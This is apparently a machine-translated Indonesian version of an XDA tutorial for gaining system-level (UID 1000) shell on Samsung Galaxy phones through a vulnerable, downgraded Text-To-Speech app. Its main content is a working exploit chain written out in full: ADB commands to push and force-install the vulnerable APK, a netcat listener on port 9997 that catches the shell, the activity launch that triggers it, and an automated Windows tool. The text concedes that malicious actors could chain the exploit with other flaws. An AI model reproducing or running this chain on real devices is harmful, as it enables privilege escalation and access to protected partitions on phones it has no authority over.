Cara mendapatkan akses shell sistem pada perangkat Samsung Galaxy apa pun

tautan langsung

  • Prasyarat
  • Cara mengeksploitasi perangkat Samsung Galaxy apa pun untuk mendapatkan akses shell sistem
  • Verifikasi
  • Kesimpulan

Pada hari Senin pertama setiap bulan, Google menerbitkan Buletin Keamanan Android. Ini mengungkapkan semua kerentanan keamanan yang dimitigasi di berbagai komponen OS Android serta kernel Linux dan tambalannya yang dikirimkan oleh Google sendiri atau pihak ketiga lainnya tanggal. OEM besar seperti Samsung memiliki pandangan mereka sendiri terhadap Android, jadi mereka memilih untuk memasukkan patch dan pembaruan mereka sendiri ke dalam pembaruan keamanan juga.

Meski begitu, cukup sulit untuk mengatasi setiap celah. Terdapat banyak sekali vektor serangan, dan terkadang Anda dapat membuat rantai eksploitasi Anda sendiri berdasarkan vektor serangan tersebut kerentanan yang diketahui sebelumnya hanya karena Anda memiliki metode baru untuk menghindari salah satunya perlindungan. Inilah yang dikatakan Anggota Senior XDA K0mraid3 melakukannya dengan kerentanan berusia empat tahun, yang memungkinkannya mendapatkan akses shell sistem di setiap perangkat Samsung Galaxy — termasuk perangkat andalan terbaru — di luar sana. Meskipun tidak sama dengan

memiliki hak akses root, ini merupakan peningkatan hak istimewa lokal yang cukup tinggi.

Titik masuk utama kerentanan terletak pada Samsung Text-To-Speech (nama paket: com.samsung. SMT), aplikasi sistem bawaan yang dapat ditemukan di setiap perangkat Samsung Galaxy. Idenya adalah untuk menurunkan versi aplikasi yang terinstal ke versi rentan tertentu (v3.0.02.2 tepatnya), dan kemudian memaksanya memuat perpustakaan, yang pada gilirannya membuka shell dengan hak istimewa sistem (UID 1000).

Jika Anda ingin mempelajari lebih lanjut tentang eksploitasi ini, pastikan untuk memeriksanya Penjelasan Editor Teknis Pimpinan XDA Adam Conway. Dia berbicara dengan K0mraid3 untuk memahami cakupan penuh dari eksploitasi ini dan cara kerjanya.

  1. Sekali lagi, ini bukan akses root (UID 0), namun akses shell sistem cukup kuat untuk mengeksekusi sekumpulan biner yang dibatasi.
  2. Bukti konsep K0mraid3 memerlukan APK pembantu, dan Anda harus menjalankannya setidaknya sekali sebelum meluncurkan rantai eksploitasi.
  3. One UI, yaitu rutinitas penghematan daya bawaan skin Android khusus Samsung dapat menyusahkan, karena dapat menghambat komunikasi antara aplikasi TTS, APK pembantu, dan shell. Oleh karena itu, kami menyarankan untuk mengatur profil hemat daya ke “Tidak Dibatasi” untuk aplikasi terlebih dahulu.

Prasyarat

  1. Unduh versi eksploitasi yang telah dikompilasi sebelumnya dari Utas forum XDA atau repositori GitHub resmi yang ditautkan di bawah ini: Eksploitasi Shell Sistem K0mraid3s
  2. Ekstrak arsip di suatu tempat dan Anda akan menemukan versi APK Samsung Text-To-Speech yang rentan (samsungTTSVULN2.apk), aplikasi pembantu (Komraid3s_POC_Vx.x.apk), dan executable Windows bernama systemshell-vx.x.exe.
  3. Pastikan versi terbaru ADB diinstal pada PC/Mac/Chromebook Anda. Juga, ingatlah untuk melakukannya instal/perbarui driver USB Samsung jika Anda pengguna Windows.

Cara mengeksploitasi perangkat Samsung Galaxy apa pun untuk mendapatkan akses shell sistem

Metode manual

  1. Hubungkan perangkat Galaxy target ke PC Anda dengan USB debugging dihidupkan, pastikan perangkat tersebut dapat ditemukan oleh ADB, lalu instal aplikasi pembantu.
    adb install Komraid3s_POC_Vx.x.apk
    • Seperti disebutkan sebelumnya, buka aplikasi pembantu setidaknya sekali sebelum melanjutkan ke langkah berikutnya.
  2. Sekarang dorong versi aplikasi Samsung TTS yang rentan ke /data/local/tmp dan ubah izinnya:
    adb push samsungTTSVULN2.apk /data/local/tmp
    adb shell chmod 777 /data/local/tmp/samsungTTSVULN2.apk
  3. Nyalakan ulang perangkat. Segera setelah Anda berada di layar beranda, jalankan perintah berikut untuk mengganti versi aplikasi Samsung TTS yang sudah terinstal dengan versi yang rentan:
    adb shell pm install -r -d -f -g --full --install-reason 3 --enable-rollback /data/local/tmp/samsungTTSVULN2.apk
    • Jika semuanya berjalan dengan baik, Anda akan melihat pesan "Sukses" di konsol.
  4. Buka shell pada perangkat target dengan membuka jendela terminal lain dan menjalankannya cangkang adb, lalu jalankan biner Netcat, dan dengarkan koneksi masuk pada port 9997 dengan perintah berikut:
    adb shell nc -lp 9997
  5. Pada tahap ini, kita perlu menjalankan aktivitas spesifik aplikasi Samsung TTS, yang akan membuka shell sistem untuk kita.
    • Gunakan aplikasi pihak ketiga seperti ini untuk membuat pintasan dari “com.samsung. SMT/.gui. Aktivitas Daftar Unduh”.
    • Anda juga dapat menggunakan pengelola aktivitas Android (am) untuk melakukan hal yang sama. Dalam hal ini, Anda dapat menjalankannya melalui ADB (adb shell am start -n com.samsung. SMT/.gui. DownloadList) atau gunakan aplikasi emulator terminal di ponsel/tablet Anda seperti Termux dan jalankan perintah berikut:
      am start -n com.samsung.SMT/.gui.DownloadList
  6. Beralih kembali ke shell pertama, dan Anda akan melihat prompt baru dengan hak istimewa sistem (UID 1000).

Metode otomatis

Untuk mempermudah, K0mraid3 juga menyediakan aplikasi GUI yang mudah digunakan untuk mengotomatisasi sebagian besar tugas. Ingatlah bahwa aplikasi GUI hanya untuk Windows, jadi jika Anda pengguna Linux/macOS, lebih baik tetap menggunakan metode manual.

  1. Hubungkan perangkat Galaxy target ke PC Anda dengan USB debugging aktif, pastikan perangkat tersebut dapat ditemukan oleh ADB, lalu instal aplikasi pembantu.
    adb install Komraid3s_POC_Vx.x.apk
    • Seperti disebutkan sebelumnya, buka aplikasi pembantu setidaknya sekali sebelum melanjutkan ke langkah berikutnya.
  2. Dengan perangkat target dapat ditemukan oleh ADB, jalankan systemshell-vx.x.exe pada PC host.
  3. Klik tombol “MULAI SHELL”. Aplikasi akan secara otomatis menurunkan versi aplikasi Samsung TTS dan mencoba membuka shell sistem.
    • Di ponsel/tablet, Anda mungkin melihat aplikasi TTS meminta Anda mengunduh beberapa data suara. Tidak perlu berinteraksi dengan opsi tersebut, karena tidak ada hubungannya dengan eksploitasi.
    • Jika aplikasi hang atau gagal membuka jendela shell setelah beberapa waktu, tutup aplikasi tersebut, reboot perangkat Galaxy target, dan mulai lagi dari awal.
    • Aplikasi Galaxy Store dapat secara otomatis memperbarui dan/atau mengatur ulang profil hemat daya aplikasi TTS di latar belakang, jadi pastikan untuk memeriksanya sebelum memulai proses dari awal.

Verifikasi

Setelah Anda memiliki akses shell, Anda dapat memverifikasi tingkat hak istimewa menggunakan salah satu perintah di bawah ini:

  • whoami
    • Outputnya harus berupa "sistem"
  • id -u
    • Outputnya harus “1000”

Kesimpulan

Cara umum untuk mendapatkan akses root pada perangkat Android adalah dengan membuka kunci bootloader terlebih dahulu, yang memungkinkan Anda mem-boot biner pihak ketiga. Karena model keamanan Android pada dasarnya berantakan dengan root, langkah ini sengaja menonaktifkan salah satu fitur keamanan utama pada perangkat, yang itulah sebabnya pengguna harus secara eksplisit mengizinkan hal itu terjadi dengan biasanya mengaktifkan tombol di Opsi Pengembang dan kemudian mengeluarkan perintah buka kunci ke pemuat boot. Setelah bootloader dibuka kuncinya, pengguna dapat memasukkan biner pengguna super ke sistem dan juga aplikasi manajemen pengguna super (seperti Magisk) untuk mengontrol proses mana yang memiliki akses ke root.

Namun, dengan eksploitasi shell sistem yang disebutkan di atas, pengguna tidak perlu membuka kunci bootloader untuk mendapatkan hak istimewa yang lebih tinggi. Meskipun jauh dari root, pengguna "sistem" cukup mampu mengakses sejumlah partisi tingkat rendah (seperti sebagai /efs), memulai berbagai layanan dan alat debugging, dan mengubah banyak nilai prop yang dilindungi — semuanya bahkan tanpa tersandung Knox. Contoh-contoh ini hanya menyentuh beberapa hal; aktor jahat dapat menggabungkan kerentanan ini dengan kerentanan lain dan melakukan tindakan yang lebih jahat.

Kita harus menunggu dan melihat bagaimana Google dan Samsung mengatasi skenario ini. Apa pun pilihannya, Anda mungkin harus menonaktifkan atau menghapus aplikasi Samsung Text-To-Speech untuk saat ini.